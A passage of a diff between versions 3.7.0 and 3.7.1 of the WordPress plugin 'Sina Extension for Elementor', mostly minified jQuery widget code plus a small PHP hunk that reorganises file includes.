n=t.find(\".sina-bar-content\"),e=n.data(\"percentage\");n.animate({width:e+\"%\"},20*e)})}function S(n,r){n.find(\".sina-modal-box\").each(function(){var n=r(this),e=!!n.data(\"click\"),t=!!n.data(\"esc\"),a=!!n.data(\"auto-show\"),o=n.data(\"delay-show\")?n.data(\"delay-show\"):4e3,i=n.data(\"modal-id\"),d=r(\".\"+i),n=n.find(\".close-\"+i),s=r(\".sina-modal-\"+i);d.click(function(n){n.preventDefault(),s.fadeIn(400)}),n.click(function(){s.fadeOut(400)}),a&&setTimeout(function(){s.fadeIn(400)},o),e&&r(document).on(\"click\",function(n){r(n.target).is(\".sina-modal-area\")&&s.fadeOut(400)}),t&&r(window).on(\"keydown\",function(n){192==(n.which||n.keyCode)&&s.fadeOut(400)})})}function T(n,o){n.find(\".sina-user-counter\").each(function(){var n=o(this),a=n.children(\".sina-uc-number\"),e=n.data(\"roles\"),t=n.find(\"#sina_user_counter_nonce\");setInterval(function(){o.post(sinaAjax.ajaxURL,{action:\"sina_user_counter\",roles:e,nonce:t.val()},function(n,e,t){\"success\"==e&&a.html(n)})},5e3)})}function D(n,e){n.find(\".sina-video\").each(function(){e(this).children(\".sina-video-play\").venobox({titlePosition:\"bottom\",bgcolor:\"#000000\"})})}function M(n,i){n.find(\".sina-visit-counter\").each(function(){var n=i(this),e=n.data(\"page\"),a=n.find(\".sina-visit-today\"),o=n.find(\".sina-visit-yesterday\"),t=n.find(\"#sina_visit_counter_nonce\");setInterval(function(){i.post(sinaAjax.ajaxURL,{action:\"sina_visit_counter\",page:e,nonce:t.val()},function(n,e,t){\"success\"==e&&(n=n.split(\"|\"),a.html(n[0]),o.html(n[1]))})},5e3)})}jQuery(window).on(\"elementor\u002Ffrontend\u002Finit\",function(){elementorFrontend.hooks.addAction(\"frontend\u002Felement_ready\u002Fsina_search.default\",a),elementorFrontend.hooks.addAction(\"frontend\u002Felement_ready\u002Fsina_scroll_to_top.default\",o),elementorFrontend.hooks.addAction(\"frontend\u002Felement_ready\u002Fsina_nav_menu.default\",n),elementorFrontend.hooks.addAction(\"frontend\u002Felement_ready\u002Fsina_accordion.default\",l),elementorFrontend.hooks.addAction(\"frontend\u002Felement_ready\u002Fsina_banner_slider.default\",c),elementorFrontend.hooks.addAction(\"frontend\u002Felement_ready\u002Fsina_blogpost.default\",f),elementorFrontend.hooks.addAction(\"frontend\u002Felement_ready\u002Fsina_posts.default\",f),elementorFrontend.hooks.addAction(\"frontend\u002Felement_ready\u002Fsina_facebook_feed.default\",u),elementorFrontend.hooks.addAction(\"frontend\u002Felement_ready\u002Fsina_twitter_feed.default\",m),elementorFrontend.hooks.addAction(\"frontend\u002Felement_ready\u002Fsina_brand_carousel.default\",i),elementorFrontend.hooks.addAction(\"frontend\u002Felement_ready\u002Fsina_contact_form.default\",h),elementorFrontend.hooks.addAction(\"frontend\u002Felement_ready\u002Fsina_table.default\",_),elementorFrontend.hooks.addAction(\"frontend\u002Felement_ready\u002Fsina_login_form.default\",g),elementorFrontend.hooks.addAction(\"frontend\u002Felement_ready\u002Fsina_mc_subscribe.default\",v),elementorFrontend.hooks.addAction(\"frontend\u002Felement_ready\u002Fsina_content_slider.default\",d),elementorFrontend.hooks.addAction(\"frontend\u002Felement_ready\u002Fsina_posts_carousel.default\",s),elementorFrontend.hooks.addAction(\"frontend\u002Felement_ready\u002Fsina_countdown.default\",y),elementorFrontend.hooks.addAction(\"frontend\u002Felement_ready\u002Fsina_counter.default\",b),elementorFrontend.hooks.addAction(\"frontend\u002Felement_ready\u002Fsina_fancytext.default\",k),elementorFrontend.hooks.addAction(\"frontend\u002Felement_ready\u002Fsina_image_differ.default\",x),elementorFrontend.hooks.addAction(\"frontend\u002Felement_ready\u002Fsina_google_map.default\",w),elementorFrontend.hooks.addAction(\"frontend\u002Felement_ready\u002Fsina_news_ticker.default\",C),elementorFrontend.hooks.addAction(\"frontend\u002Felement_ready\u002Fsina_product_zoomer.default\",A),elementorFrontend.hooks.addAction(\"frontend\u002Felement_ready\u002Fsina_particle_layer.default\",F),elementorFrontend.hooks.addAction(\"frontend\u002Felement_ready\u002Fsina_piechart.default\",O),elementorFrontend.hooks.addAction(\"frontend\u002Felement_ready\u002Fsina_portfolio.default\",I),elementorFrontend.hooks.addAction(\"frontend\u002Felement_ready\u002Fsina_posts_tab.default\",z),elementorFrontend.hooks.addAction(\"frontend\u002Felement_ready\u002Fsina_progressbar.default\",L),elementorFrontend.hooks.addAction(\"frontend\u002Felement_ready\u002Fsina_review_carousel.default\",r),elementorFrontend.hooks.addAction(\"frontend\u002Felement_ready\u002Fsina_modal_box.default\",S),elementorFrontend.hooks.addAction(\"frontend\u002Felement_ready\u002Fsina_user_counter.default\",T),elementorFrontend.hooks.addAction(\"frontend\u002Felement_ready\u002Fsina_video.default\",D),elementorFrontend.hooks.addAction(\"frontend\u002Felement_ready\u002Fsina_visit_counter.default\",M)})}();\n\\ No newline at end of file\n+\u002F* Sina Extension for Elementor v3.7.1 *\u002F\r\n+!function(n){\"use strict\";function e(n,e){new IntersectionObserver((function(n,t){n.forEach((function(n){n.isIntersecting&&e(n)}))}),arguments.length>2&&void 0!==arguments[2]?arguments[2]:{}).observe(n)}function t(n){var e=(e=n.data(\"item-lg\"))||2,t=(t=n.data(\"item-md\"))||2,a=(a=n.data(\"item-sm\"))||1,o=n.data(\"slide-anim\"),i=\"none\"!=(i=n.data(\"slide-anim-out\"))&&i,d=(o=\"none\"!=o&&o,!!n.data(\"autoplay\")),s=!!n.data(\"pause\"),r=!!n.data(\"center\"),l=!!n.data(\"nav\"),c=!!n.data(\"dots\"),f=!!n.data(\"mouse-drag\"),u=!!n.data(\"touch-drag\"),m=!!n.data(\"loop\"),h=(h=n.data(\"speed\"))||500,p=n.data(\"delay\");n.owlCarousel({animateOut:i,animateIn:o,autoplay:d,autoplayHoverPause:s,center:r,nav:l,dots:c,mouseDrag:f,touchDrag:u,loop:m,smartSpeed:h,autoplayTimeout:p,responsive:{0:{items:a},600:{items:t},900:{items:e}}})}function a(n){return n\u003C10?\"0\"+n:n}function o(n,e){n.find(\".sina-ext-nav\").each((function(){var n=e(window).outerWidth(),t=e(\"body\"),a=e(this),o=a.find(\".sina-ext-menu\"),i=a.find(\".sina-ext-nav-collapse\"),d=a.find(\".sina-ext-nav-toggle\"),s=d.data(\"open\"),r=d.data(\"close\"),l=o.data(\"in\"),c=o.data(\"out\");e(\".sub-menu\",o).addClass(\"animated\"),n>1024?(e(\".menu-item-has-children\",o).on(\"mouseenter\",(function(){e(\".sub-menu\",this).eq(0).removeClass(c).stop().fadeIn().addClass(l),e(this).addClass(\"open\")})),e(\".menu-item-has-children\",o).on(\"mouseleave\",(function(){e(\".sub-menu\",this).eq(0).removeClass(l).stop().fadeOut().addClass(c),e(this).removeClass(\"open\")}))):(e(\".sina-ext-menu .menu-item-has-children > a\").on(\"click\",(function(n){n.preventDefault()})),e(\"a\",\".sina-ext-menu .menu-item-has-children\").on(\"click\",(function(){var n=e(this).parent(\".menu-item-has-children\");e(\".sub-menu\",n).eq(0).toggleClass(l).stop().fadeToggle().toggleClass(c),e(n).toggleClass(\"open\")}))),t.children(\".sina-ext-nav-wrapper\").length\u003C1&&t.wrapInner('\u003Cdiv class=\"sina-ext-nav-wrapper\">\u003C\u002Fdiv>'),d.on(\"click\",(function(){e(\".toggle-icon\",this).toggleClass(s).toggleClass(r),t.toggleClass(\"sina-ext-nav-mobile-left\"),i.toggleClass(\"show\")})),e(window).on(\"resize\",(function(){e(\".toggle-icon\",d).removeClass(r).addClass(s),t.removeClass(\"sina-ext-nav-mobile-left\"),i.removeClass(\"show\")}))}))}function i(n,e){n.find(\".sina-search\").each((function(){var n=e(this),t=!!n.data(\"click\"),a=!!n.data(\"esc\"),o=n.children(\".sina-button\"),i=n.children(\".sina-modal-overlay\"),d=i.find(\".sina-modal-close\");o.click((function(n){i.fadeIn(400)})),d.click((function(){i.fadeOut(400)})),t&&e(document).on(\"click\",(function(n){e(n.target).is(\".sina-modal-area\")&&i.fadeOut(400)})),a&&e(window).on(\"keydown\",(function(n){192==(n.which||n.keyCode)&&i.fadeOut(400)}))}))}function d(n,e){n.find(\".sina-scroll-top\").each((function(){var n=e(this);e(window).on(\"scroll\",(function(){e(this).scrollTop()>300?n.fadeIn(\"slow\"):n.fadeOut(\"slow\")})),n.on(\"click\",(function(){return e(\"html, body\").animate({scrollTop:0},600),!1}))}))}function s(n,e){n.find(\".sina-brand-carousel\").each((function(){t(e(this))}))}function r(n,e){n.find(\".sina-content-slider\").each((function(){t(e(this))}))}function l(n,e){n.find(\".sina-posts-carousel\").each((function(){t(e(this))}))}function c(n,e){n.find(\".sina-review-carousel\").each((function(){t(e(this))}))}function f(n,e){n.find(\".sina-accordion\").each((function(){var n=e(this),t=n.data(\"open-first\");n.find(\".sina-accordion-item\").each((function(n,a){var o=e(this),i=o.siblings(\".sina-accordion-item\"),d=o.children(\".sina-accordion-header\"),s=o.children(\".sina-accordion-body\");t&&0==n&&s.slideDown(200),d.on(\"click\",(function(n){n.stopImmediatePropagation(),s.slideToggle(200),i.children(\".sina-accordion-body\").slideUp(200),o.toggleClass(\"open\"),i.removeClass(\"open\")}))}))}))}function u(n,e){n.find(\".sina-banner-slider\").each((function(){function n(n){n.each((function(){var n=e(this),t=n.data(\"animation\");n.removeClass(\"sina-anim-invisible\"),n.addClass(t).one(\"webkitAnimationEnd mozAnimationEnd MSAnimationEnd oanimationend animationend\",(function(){n.removeClass(t)}))}))}var t=e(this),a=!!t.data(\"autoplay\"),o=!!t.data(\"pause\"),i=!!t.data(\"nav\"),d=!!t.data(\"dots\"),s=!!t.data(\"mouse-drag\"),r=!!t.data(\"touch-drag\"),l=!!t.data(\"loop\"),c=t.data(\"part-anim\"),f=(f=t.data(\"speed\"))||500,u=t.data(\"delay\");if(t.owlCarousel({autoplay:a,autoplayHoverPause:o,nav:i,dots:d,mouseDrag:s,touchDrag:r,loop:l,smartSpeed:c?5:f,navSpeed:c?5:f,autoplaySpeed:f,autoplayTimeout:u,responsive:{0:{items:1}}}),c){n(t.find(\".owl-item.active\").find(\"[data-animation ^= 'animated']\"));var m=[t.find(\".owl-item.active\")];t.on(\"translated.owl.carousel\",(function(a){var o=t.find(\".owl-item.active\");n(o.find(\"[data-animation ^= 'animated']\")),m.push(o),m[0].find(\"[data-animation ^= 'animated']\").each((function(n,t){e(this).addClass(\"sina-anim-invisible\")})),m.shift()}))}t.find(\".sina-tooltip\").tooltip()}))}function m(n,e){n.find(\".sina-blogpost\").each((function(){var n=e(this),t=n.children(\".sina-bp-grid\");n.imagesLoaded((function(){t.isotope({itemSelector:\".sina-bp-col\",percentPosition:!0,masonry:{columnWidth:\".sina-bp-grid-sizer\"}})}));var a=n.data(\"uid\"),o=n.data(\"posts-data\"),i=o.total_posts,d=o.posts_num,s=n.find(\"#sina_load_more_posts\"+a),r=n.find(\".sina-load-more\"),l=r.children(\".sina-load-more-btn\"),c=(l=r.children(\".sina-load-more-btn\")).html();l.on(\"click\",(function(a){var f=n.data(\"offset\");l.html(\"Loading...\"),e.post(sinaAjax.ajaxURL,{action:\"sina_load_more_posts\",posts_data:JSON.stringify(o),offset:f,nonce:s.val()},(function(a,o,s){if(\"success\"==o){var u=e(a).find(\".sina-bp-col\");t.append(u),imagesLoaded(t,(function(){t.isotope(\"appended\",u)})),f>=i-d&&r.remove(),l.html(c),n.data(\"offset\",f+d)}}))}))}))}function h(n,e){n.find(\".sina-facebook-feed\").each((function(){var n=e(this),t=n.children(\".sina-feed-grid\");n.imagesLoaded((function(){t.isotope({itemSelector:\".sina-feed-col\",percentPosition:!0,masonry:{columnWidth:\".sina-fb-feed-grid-sizer\"}})}))}))}function p(n,e){n.find(\".sina-twitter-feed\").each((function(){var n=e(this),t=n.children(\".sina-feed-grid\");n.imagesLoaded((function(){t.isotope({itemSelector:\".sina-feed-col\",percentPosition:!0,masonry:{columnWidth:\".sina-twitter-feed-grid-sizer\"}})}))}))}function _(n,e){n.find(\".sina-contact-form\").each((function(){var n,t=e(this),a=t.data(\"uid\"),o=t.data(\"from\"),i=t.data(\"inbox\"),d=t.children(\"#sina_contact_nonce\"+a),s=t.children(\".sina-success-text\"),r=t.children(\".sina-error-text\"),l=t.children(\".sina-process-text\"),c=t.find(\".sina-input-name\"),f=t.find(\".sina-input-email\"),u=t.find(\".sina-input-subject\"),m=t.find(\".sina-input-message\"),h=!!t.data(\"captcha\");t.on(\"submit\",(function(t){t.preventDefault(),clearTimeout(n),r.fadeOut(0),s.fadeOut(0),l.fadeIn(200);var a=\"\";h&&(a=grecaptcha.getResponse()),e.post(sinaAjax.ajaxURL,{action:\"sina_contact\",inbox:i,from_text:o,name:c.val(),email:f.val(),subject:u.val(),message:m.val(),is_captcha:h,captcha:a,nonce:d.val()},(function(e,t,a){\"success\"==t&&(e?(l.fadeOut(0),r.html(e).fadeIn(200),n=setTimeout((function(){r.fadeOut(200)}),1e4)):(l.fadeOut(0),s.fadeIn(200),n=setTimeout((function(){s.fadeOut(200)}),1e4)))}))}))}))}function g(n,e){n.find(\".sina-table\").each((function(){var n=e(this),t=n.children(\"table\"),a=n.find(\".sina-data-table\"),o=n.data(\"table-info\"),i=o.head?o.head:[],d=o.external_source?o.external_source:\"\",s=o.export?\"Blftrip\":\"lftrip\",r=!!o.ordering,l=o.sort_col?o.sort_col:2,c=o.sort_type?o.sort_type:\"desc\",f=!!o.searching,u=!!o.info,m=!!o.paging,h=o.pagingType?o.pagingType:\"simple_numbers\";a.DataTable({ajax:d,columns:i,ordering:r,order:[[l-1,c]],searching:f,info:u,paging:m,pagingType:h,dom:s,lengthMenu:[10,25,50,100,200,500]}),t.on(\"click\",\"tr\",(function(n){n.preventDefault(),\"yes\"!=o.keep_focus&&e(this).siblings(\"tr\").removeClass(\"focus\"),e(this).toggleClass(\"focus\")}))}))}function v(n,e){n.find(\".sina-login-form\").each((function(){var n,t=e(this),a=t.data(\"uid\"),o=t.data(\"state\"),i=t.data(\"url\"),d=t.data(\"rem-login\"),s=t.children(\"#sina_login_nonce\"+a),r=t.children(\".sina-error-text\"),l=t.children(\".sina-input-password\"),c=t.children(\".sina-input-email\"),f=t.find(\".sina-login-remember\"),u=t.find(\".sina-login-btn\"),m=u.html(),h=!1;\"yes\"==d&&(h=f.prop(\"checked\")),t.on(\"submit\",(function(t){t.preventDefault(),clearTimeout(n),u.html(o),r.fadeOut(0),e.post(sinaAjax.ajaxURL,{action:\"sina_login\",password:l.val(),email:c.val(),remember:h,nonce:s.val()},(function(e,t,a){\"success\"==t&&(\"logged in\"==e?location.href=i:e&&(r.html(e).fadeIn(200),n=setTimeout((function(){r.fadeOut(200)}),1e4)),u.html(m))}))}))}))}function y(n,e){n.find(\".sina-subs-form\").each((function(){var n,t=e(this),a=t.data(\"uid\"),o=t.find(\"#sina_mc_subscribe_nonce\"+a),i=t.find(\".sina-input-fname\"),d=t.find(\".sina-input-lname\"),s=t.find(\".sina-input-email\"),r=t.find(\".sina-input-phone\"),l=t.children(\".sina-success-text\"),c=t.children(\".sina-error-text\"),f=t.children(\".sina-process-text\");t.on(\"submit\",(function(t){t.preventDefault(),clearTimeout(n),c.fadeOut(0),l.fadeOut(0),f.fadeIn(200),e.post(sinaAjax.ajaxURL,{action:\"sina_mc_subscribe\",fname:i.val()||\" \",lname:d.val()||\" \",phone:r.val()||\" \",email:s.val(),nonce:o.val()},(function(e,t,a){\"success\"==t&&(\"success\"==e?(f.fadeOut(0),l.fadeIn(200),n=setTimeout((function(){l.fadeOut(200)}),1e4)):(f.fadeOut(0),c.html(e).fadeIn(200),n=setTimeout((function(){c.fadeOut(200)}),1e4)))}))}))}))}function b(n,e){n.find(\".sina-countdown\").each((function(n,t){var o=e(this),i=o.find(\".sina-cd-year\"),d=o.find(\".sina-cd-month\"),s=o.find(\".sina-cd-week\"),r=o.find(\".sina-cd-day\"),l=o.find(\".sina-cd-hour\"),c=o.find(\".sina-cd-minute\"),f=o.find(\".sina-cd-second\"),u=o.data(\"text\"),m=(m=o.data(\"message\")).replace(\u002F[^A-z0-9 @!.]\u002Fg,\"\"),h=o.data(\"link\"),p=o.data(\"time\");o.countdown(p).on(\"update.countdown\",(function(n){var e=n.strftime(\"%m\"),t=n.strftime(\"%w\"),o=Math.floor(e\u002F12);e%=12,t%=4;i.html(a(o)),d.html(a(e)),s.html(\"0\"+t),r.html(n.strftime(\"%n\")),l.html(n.strftime(\"%H\")),c.html(n.strftime(\"%M\")),f.html(n.strftime(\"%S\")),\"yes\"==u&&(i.next().html(o\u003C2?\"Year\":\"Years\"),d.next().html(e\u003C2?\"Month\":\"Months\"),s.next().html(t\u003C2?\"Week\":\"Weeks\"),r.next().html(n.strftime(\"%n\")\u003C2?\"Day\":\"Days\"),l.next().html(n.strftime(\"%H\")\u003C2?\"Hour\":\"Hours\"),c.next().html(n.strftime(\"%M\")\u003C2?\"Minute\":\"Minutes\"),f.next().html(n.strftime(\"%S\")\u003C2?\"Second\":\"Seconds\"))})).on(\"finish.countdown\",(function(n){o.children().remove(),m?o.append('\u003Cdiv class=\"sina-cd-message\">'+m+\"\u003C\u002Fdiv>\"):h&&elementorFrontend.isEditMode()?o.append(\"\u003Ch2>You can't redirect url from elementor edit mode!!\u003C\u002Fh2>\"):h?window.location.href=h:o.append(\"\u003Ch2>May be you don't enter a valid redirect url\u003C\u002Fh2>\")}))}))}function k(n,t){e(n[0],(function(){var e=n.find(\".sina-counter-number\"),t=e.data(),a=t.toValue.toString().match(\u002F\\.(.*)\u002F);a&&(t.rounding=a[1].length),e.numerator(t)}))}function w(n,e){n.find(\".sina-fancytext\").each((function(){var n=e(this),t=n.find(\".sina-fancytext-strings\"),a=n.data(\"anim\"),o=n.data(\"speed\"),i=n.data(\"delay\"),d=!!n.data(\"cursor\"),s=!!n.data(\"loop\"),r=(r=(r=n.data(\"fancy-text\")).replace(\u002F[^A-z0-9 @!.]\u002Fg,\"\")).split(\"@@\");\"typing\"==a?t.typed({strings:r,typeSpeed:o,startDelay:i,showCursor:d,loop:s}):t.Morphext({animation:a,separator:\"@@\",speed:i})}))}function x(n,e){n.find(\".sina-google-map\").each((function(){var n=e(this),t=n.data(\"id\"),a=n.data(\"anim\"),o=n.data(\"zoom\"),i=n.data(\"lat\"),d=n.data(\"long\"),s=!n.data(\"defaultui\"),r=!!n.data(\"zoom-control\"),l=!!n.data(\"street-control\"),c=!!n.data(\"fullscreen-control\"),f=n.data(\"zoom-position\"),u=n.data(\"street-position\"),m=n.data(\"fullscreen-position\"),h=n.data(\"map-style\"),p=n.data(\"marker\"),_=n.data(\"marker-link\"),g=new google.maps.Map(document.getElementById(t),{center:{lat:i,lng:d},zoom:o,disableDefaultUI:s,zoomControl:r,zoomControlOptions:{position:google.maps.ControlPosition[f]},streetViewControl:l,streetViewControlOptions:{position:google.maps.ControlPosition[u]},fullscreenControl:c,fullscreenControlOptions:{position:google.maps.ControlPosition[m]},styles:sinaMapStyles[h]});if(p&&_)new google.maps.Marker({position:new google.maps.LatLng(i,d),map:g,icon:{url:_},animation:google.maps.Animation[a]})}))}function C(n,e){n.find(\".sina-image-differ\").each((function(){var n=e(this),t=n.data(\"orientation\"),a=n.data(\"before\"),o=n.data(\"after\"),i=n.data(\"offset\"),d=!!n.data(\"overlay\"),s=!!n.data(\"click\"),r=!!n.data(\"hover\");n.children(\".twentytwenty-container\").twentytwenty({default_offset_pct:i,orientation:t,before_label:a,after_label:o,no_overlay:d,move_slider_on_hover:r,click_to_move:s})}))}function A(n,e){n.find(\".sina-news-ticker\").each((function(){var n=e(this),t=n.data(\"speed\"),a=\"yes\"==n.data(\"pause\"),o=n.children(\".sina-news-wrapper\"),i=o.children(\".sina-news-container\"),d=i.children(\".sina-news-content\"),s=d.children(\".sina-news\"),r=o.outerWidth(),l=0;function c(n,e){var t=l*n;i.css({width:2*l+\"px\",marginLeft:0}),i.animate({marginLeft:\"-=\"+l+\"px\"},t,\"linear\",(function(){c(n,e)}))}s.each((function(n,t){l+=e(this).outerWidth()})),l+=.5*r,d.css(\"width\",l+\"px\"),d.clone().appendTo(i),a&&(i.on(\"mouseenter\",(function(n){i.stop()})),i.on(\"mouseleave\",(function(n){var e=i.css(\"marginLeft\");e=e.replace(\u002Fpx\u002Fi,\"\");var o=parseInt(e)+l;i.animate({marginLeft:\"-=\"+o+\"px\"},o*t,\"linear\",(function(){c(t,a)}))}))),c(t,a)}))}function F(n,e){n.find(\".sina-product-zoomer\").each((function(){var n=e(this),t=n.data(\"position\"),a=n.data(\"shape\");n.find(\".xzoom, .xzoom-gallery\").xzoom({position:t,lensShape:a})}))}function O(n,e){n.find(\".sina-particle\").each((function(){var n=e(this),t=n.data(\"link-color\"),a=n.data(\"ball-color\"),o=n.data(\"number\"),i=n.data(\"link\"),d=n.data(\"clink\"),s=n.data(\"linkw\"),r=n.data(\"size\"),l=n.data(\"speed\"),c=!!n.data(\"dlink\"),f=!!n.data(\"dmouse\");n.sinaParticles({lineColor:t,fillColor:a,particlesNumber:o,linkDist:i,createLinkDist:d,linksWidth:s,maxSize:r,speed:l,disableLinks:c,disableMouse:f})})),e(\".sina-particle-layer .sina-tooltip\").tooltip()}function z(n,t){e(n[0],(function(){var e=n.find(\".sina-piechart-wrap\"),t=e.data(\"track\"),a=(e.data(\"track-width\"),e.data(\"bar\")),o=e.data(\"line\"),i=e.data(\"cap\"),d=e.data(\"speed\"),s=e.data(\"scale\"),r=e.data(\"size\");e.easyPieChart({trackColor:t,barColor:a,lineWidth:o,lineCap:i,animate:d,scaleColor:s,size:r})}))}function I(n,e){n.find(\".sina-portfolio\").each((function(){var n=e(this),t=n.children(\".sina-portfolio-grid\"),a=n.children(\".sina-portfolio-btns\"),o=n.data(\"layout\");n.imagesLoaded((function(){if(\"masonry\"==o)var n=t.isotope({itemSelector:\".sina-portfolio-item\",percentPosition:!0,masonry:{columnWidth:\".sina-portfolio-item\"}});else n=t.isotope({itemSelector:\".sina-portfolio-item\",layoutMode:\"fitRows\"});a.on(\"click\",\"button\",(function(){var t=e(this).attr(\"data-filter\");n.isotope({filter:t})}))})),n.find(\".sina-portfolio-zoom\").venobox({titlePosition:\"bottom\",bgcolor:\"#000000\"})}))}function L(n,e){n.find(\".sina-posts-tab\").each((function(){e(\"[data-sina-pt]\").on(\"click\",(function(n){e(e(this).data(\"sina-pt\")).siblings(\".sina-pt-item\").removeClass(\"active\"),e(e(this).data(\"sina-pt\")).addClass(\"active\")}))}))}function S(n,t){e(n[0],(function(){var e=n.find(\".sina-bar-content\"),t=e.data(\"percentage\");e.animate({width:t+\"%\"},20*t)}))}function T(n,e){n.find(\".sina-modal-box\").each((function(){var n=e(this),t=!!n.data(\"click\"),a=!!n.data(\"esc\"),o=!!n.data(\"auto-show\"),i=n.data(\"delay-show\")?n.data(\"delay-show\"):4e3,d=n.data(\"modal-id\"),s=e(\".\"+d),r=n.find(\".close-\"+d),l=e(\".sina-modal-\"+d);s.click((function(n){n.preventDefault(),l.fadeIn(400)})),r.click((function(){l.fadeOut(400)})),o&&setTimeout((function(){l.fadeIn(400)}),i),t&&e(document).on(\"click\",(function(n){e(n.target).is(\".sina-modal-area\")&&l.fadeOut(400)})),a&&e(window).on(\"keydown\",(function(n){192==(n.which||n.keyCode)&&l.fadeOut(400)}))}))}function D(n,e){n.find(\".sina-user-counter\").each((function(){var n=e(this),t=n.children(\".sina-uc-number\"),a=n.data(\"roles\"),o=n.find(\"#sina_user_counter_nonce\");setInterval((function(){e.post(sinaAjax.ajaxURL,{action:\"sina_user_counter\",roles:a,nonce:o.val()},(function(n,e,a){\"success\"==e&&t.html(n)}))}),5e3)}))}function M(n,e){n.find(\".sina-video\").each((function(){e(this).children(\".sina-video-play\").venobox({titlePosition:\"bottom\",bgcolor:\"#000000\"})}))}function j(n,e){n.find(\".sina-visit-counter\").each((function(){var n=e(this),t=n.data(\"page\"),a=n.find(\".sina-visit-today\"),o=n.find(\".sina-visit-yesterday\"),i=n.find(\"#sina_visit_counter_nonce\");setInterval((function(){e.post(sinaAjax.ajaxURL,{action:\"sina_visit_counter\",page:t,nonce:i.val()},(function(n,e,t){\"success\"==e&&(n=n.split(\"|\"),a.html(n[0]),o.html(n[1]))}))}),5e3)}))}jQuery(window).on(\"elementor\u002Ffrontend\u002Finit\",(function(){elementorFrontend.hooks.addAction(\"frontend\u002Felement_ready\u002Fsina_search.default\",i),elementorFrontend.hooks.addAction(\"frontend\u002Felement_ready\u002Fsina_scroll_to_top.default\",d),elementorFrontend.hooks.addAction(\"frontend\u002Felement_ready\u002Fsina_nav_menu.default\",o),elementorFrontend.hooks.addAction(\"frontend\u002Felement_ready\u002Fsina_accordion.default\",f),elementorFrontend.hooks.addAction(\"frontend\u002Felement_ready\u002Fsina_banner_slider.default\",u),elementorFrontend.hooks.addAction(\"frontend\u002Felement_ready\u002Fsina_blogpost.default\",m),elementorFrontend.hooks.addAction(\"frontend\u002Felement_ready\u002Fsina_posts.default\",m),elementorFrontend.hooks.addAction(\"frontend\u002Felement_ready\u002Fsina_facebook_feed.default\",h),elementorFrontend.hooks.addAction(\"frontend\u002Felement_ready\u002Fsina_twitter_feed.default\",p),elementorFrontend.hooks.addAction(\"frontend\u002Felement_ready\u002Fsina_brand_carousel.default\",s),elementorFrontend.hooks.addAction(\"frontend\u002Felement_ready\u002Fsina_contact_form.default\",_),elementorFrontend.hooks.addAction(\"frontend\u002Felement_ready\u002Fsina_table.default\",g),elementorFrontend.hooks.addAction(\"frontend\u002Felement_ready\u002Fsina_login_form.default\",v),elementorFrontend.hooks.addAction(\"frontend\u002Felement_ready\u002Fsina_mc_subscribe.default\",y),elementorFrontend.hooks.addAction(\"frontend\u002Felement_ready\u002Fsina_content_slider.default\",r),elementorFrontend.hooks.addAction(\"frontend\u002Felement_ready\u002Fsina_posts_carousel.default\",l),elementorFrontend.hooks.addAction(\"frontend\u002Felement_ready\u002Fsina_countdown.default\",b),elementorFrontend.hooks.addAction(\"frontend\u002Felement_ready\u002Fsina_counter.default\",k),elementorFrontend.hooks.addAction(\"frontend\u002Felement_ready\u002Fsina_fancytext.default\",w),elementorFrontend.hooks.addAction(\"frontend\u002Felement_ready\u002Fsina_image_differ.default\",C),elementorFrontend.hooks.addAction(\"frontend\u002Felement_ready\u002Fsina_google_map.default\",x),elementorFrontend.hooks.addAction(\"frontend\u002Felement_ready\u002Fsina_news_ticker.default\",A),elementorFrontend.hooks.addAction(\"frontend\u002Felement_ready\u002Fsina_product_zoomer.default\",F),elementorFrontend.hooks.addAction(\"frontend\u002Felement_ready\u002Fsina_particle_layer.default\",O),elementorFrontend.hooks.addAction(\"frontend\u002Felement_ready\u002Fsina_piechart.default\",z),elementorFrontend.hooks.addAction(\"frontend\u002Felement_ready\u002Fsina_portfolio.default\",I),elementorFrontend.hooks.addAction(\"frontend\u002Felement_ready\u002Fsina_posts_tab.default\",L),elementorFrontend.hooks.addAction(\"frontend\u002Felement_ready\u002Fsina_progressbar.default\",S),elementorFrontend.hooks.addAction(\"frontend\u002Felement_ready\u002Fsina_review_carousel.default\",c),elementorFrontend.hooks.addAction(\"frontend\u002Felement_ready\u002Fsina_modal_box.default\",T),elementorFrontend.hooks.addAction(\"frontend\u002Felement_ready\u002Fsina_user_counter.default\",D),elementorFrontend.hooks.addAction(\"frontend\u002Felement_ready\u002Fsina_video.default\",M),elementorFrontend.hooks.addAction(\"frontend\u002Felement_ready\u002Fsina_visit_counter.default\",j)}))}();\n\\ No newline at end of file\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsina-extension-for-elementor\u002F3.7.0\u002Finc\u002Fsina-ext-func.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsina-extension-for-elementor\u002F3.7.1\u002Finc\u002Fsina-ext-func.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsina-extension-for-elementor\u002F3.7.0\u002Finc\u002Fsina-ext-func.php\t2025-05-16 10:18:26.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsina-extension-for-elementor\u002F3.7.1\u002Finc\u002Fsina-ext-func.php\t2025-07-10 13:17:42.000000000 +0000\n@@ -211,7 +211,15 @@\n \t\trequire_once( SINA_EXT_INC .'sina-ext-helpers.php' );\r\n \t\trequire_once( SINA_EXT_INC .'sina-ext-controls.php' );\r\n \t\trequire_once( SINA_EXT_INC .'sina-ext-controls-extend.php' );\r\n-\t\trequire_once( SINA_EXT_ADMIN .'sina-ext-theme-builder.php' );\r\n+\t}\r\n+\r\n+\t\u002F**\r\n+\t * Include Modules files\r\n+\t *\r\n+\t * @since 3.7.1\r\n+\t *\u002F\r\n+\tpublic static function modules() {\r\n \t\trequire_once( SINA_EXT_ADMIN .'sina-ext-templates.php' );\r\n+\t\trequire_once( SINA_EXT_ADMIN .'sina-ext-theme-builder.php' );\r\n \t}\r\n }\n\\ No newline at end of file\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsina-extension-for-elementor\u002F3.7.0\u002Freadme.txt \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsina-extension-for-elementor\u002F3.7.1\u002Freadme.txt\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsina-extension-for-elementor\u002F3.7.0\u002Freadme.txt\t2025-05-16 10:18:26.000000000 +0000\n+++ 